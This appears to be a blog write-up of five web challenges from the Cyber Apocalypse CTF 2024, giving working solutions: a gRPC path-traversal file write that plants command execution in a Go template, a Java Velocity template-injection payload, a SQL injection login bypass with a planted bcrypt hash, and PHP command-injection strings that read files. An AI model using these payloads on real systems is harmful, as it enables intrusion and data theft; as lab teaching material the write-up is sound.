Berlian Gabriel

Cyber Apocalypse CTF 2024 Writeup: Web

Testimonial

This vulnerable part of the code in grpc.go will allow us to perform arbitrary file write. From there we can overwrite the index.templ to include exec() command, and the output will be displayed in the testimonial box.

err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)

We need the following python libaray to interact directly with the gRPC server:

pip install grpcio grpcio-tools

Inside the folder that has the .proto file, which in this case is \challenge\pb\pytypes.proto you can generate the Python gRPC code as follows:

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ptypes.proto

We can list the directory / to know the flag filename, and then later we modify the ls command to cat the flag, using the solver below.
solver.py

import grpc
import ptypes_pb2
import ptypes_pb2_grpc

newTemplate = '''
package home

import (
	"htbchal/view/layout"
	"io/fs"	
	"fmt"
	"os"
    "os/exec"
)

templ Index() {
	@layout.App(true) {
<nav class="navbar navbar-expand-lg navbar-dark bg-black">
  <div class="container-fluid">
    <a class="navbar-brand" href="/">The Fray</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
            aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
        <ul class="navbar-nav ml-auto">
            <li class="nav-item active">
                <a class="nav-link" href="/">Home</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Factions</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Trials</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Contact</a>
            </li>
        </ul>
    </div>
  </div>
</nav>

<div class="container">
  <section class="jumbotron text-center">
      <div class="container mt-5">
          <h1 class="display-4">Welcome to The Fray #HACKED</h1>
          <p class="lead">Assemble your faction and prove you're the last one standing!</p>
          <a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a>
      </div>
  </section>

  <section class="container mt-5">
      <h2 class="text-center mb-4">What Others Say</h2>
      <div class="row">
          @Testimonials()
      </div>
  </section>


  <div class="row mt-5 mb-5">
    <div class="col-md">
      <h2 class="text-center mb-4">Submit Your Testimonial</h2>
      <form method="get" action="/">
        <div class="form-group">
          <label class="mt-2" for="testimonialText">Your Testimonial</label>
          <textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea>
        </div>
        <div class="form-group">
          <label class="mt-2" for="testifierName">Your Name</label>
          <input type="text" class="form-control mt-2" id="testifierName" name="customer"/>
        </div>
        <button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button>
      </form>
    </div>
  </div>
</div>

<footer class="bg-black text-white text-center py-3">
    <p>&copy; 2024 The Fray. All Rights Reserved.</p>
</footer>
	}
}

func GetTestimonials() []string {
	fsys := os.DirFS("public/testimonials")	
	files, err := fs.ReadDir(fsys, ".")		
	if err != nil {
		return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
	}
	var res []string
	for _, file := range files {
		fileContent, _ := fs.ReadFile(fsys, file.Name())
		res = append(res, string(fileContent))		
	}

	output, _ := exec.Command("ls", "/").Output()
	res = append(res, string(output))
	return res
}

templ Testimonials() {
  for _, item := range GetTestimonials() {
    <div class="col-md-4">
        <div class="card mb-4">
            <div class="card-body">
                <p class="card-text">"{item}"</p>
                <p class="text-muted">- Anonymous Testifier</p>
            </div>
        </div>
    </div>
  }
}
'''

def run():
    # Assuming the server is running on the specified IP and port
    with grpc.insecure_channel('83.136.249.237:30739') as channel:
        stub = ptypes_pb2_grpc.RickyServiceStub(channel)
        response = stub.SubmitTestimonial(ptypes_pb2.TestimonialSubmission(customer="../../view/home/index.templ", testimonial=newTemplate))
        print("Client received: " + response.message)

if __name__ == '__main__':
    run()

We can the proceed, to edit the payload earlier, from ("ls", "/") to ("cat", "/flagd410c24b47.txt"), and rerun the solver.

FLAG: HTB{w34kly_t35t3d_t3mplate5}


Labyrinth Linguist

This vulnerable part of the code will allow us to replace the TEXT on the template file index.html, which can be used to perform SSTI injection on Java Velocity.

bufferedReader = new BufferedReader(new FileReader(filePath));
String line;
            
while ((line = bufferedReader.readLine()) != null) {
    line = line.replace("TEXT", replacement);
    content.append(line);
    content.append("\n");
}

However, we need to slightly modify the payload from the widely available (from HackTricks) payload for Java Velocity

payload for text

#set($e="e")
#set($ex=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ls /"));
$ex.waitFor();
#set($out=$ex.getInputStream());
#foreach($i in [1..$out.available()])
$out.read()
#end

Using the payload above, we can list the directory / to know the flag filename, and then later we modify the ls command to cat the flag.

Converting the output which seems like ASCII values we obtain the following text.

app
bin
boot
dev
entrypoint.sh
etc
flagbec3440fd0.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

We can the proceed, to edit the payload earlier, from ls / to cat flagbec3440fd0.txt, and redo the ASCII values conversion from the output.

FLAG: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}


KORP Terminal

We need to use SQL injection on the username field to inject our own hash in which we know the plaintext. We need to make the overall SQL query to become like this:

SELECT password FROM users WHERE username='' #this will return none
UNION
SELECT "$2y$10$fTohgxZzGpJddulpVNYT.uzESMK98yNWWaEOA56yuXmAQUCoXe2fS"-- ' #this will return a hash that we can control

Clue from Challenge Description: The terminal login screen is protected by state-of-the-art encryption and security protocols. bcrypt is commonly used for login, so we can try hashing using bcrypt. If the hash type chosen is incorrect, the server should return invalid salt.

Crafting bcrypt hash using password plaintext: fidethus

payload

username=' UNION SELECT "$2y$10$fTohgxZzGpJddulpVNYT.uzESMK98yNWWaEOA56yuXmAQUCoXe2fS"-- &password=fidethus

FLAG: HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}


TimeKORP

Vulnerable part of the source code, concatenating user input directly to exec() without sanitization PHP Command Injection:

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

?format=';dir'


?format=';cat ../flag

FLAG: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}


Flag Command

Bypass the flow of the game by directly inputting the command with secret, which can be seen from the response body from GET /api/options. Think of it like a cheat code in a video game!

Response to GET /api/options

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Sun, 10 Mar 2024 05:33:48 GMT
Content-Type: application/json
Content-Length: 637
Connection: close

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

Pay attention to this part:

    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]

Crafted POST Request to get flag.

POST /api/monitor HTTP/1.1
Host: 94.237.62.48:39111
Content-Length: 68
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.62.48:39111
Referer: http://94.237.62.48:39111/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"command":"Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"}

FLAG: `HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}


Social Media

Thanks for reading! Follow me on Twitter and LinkedIn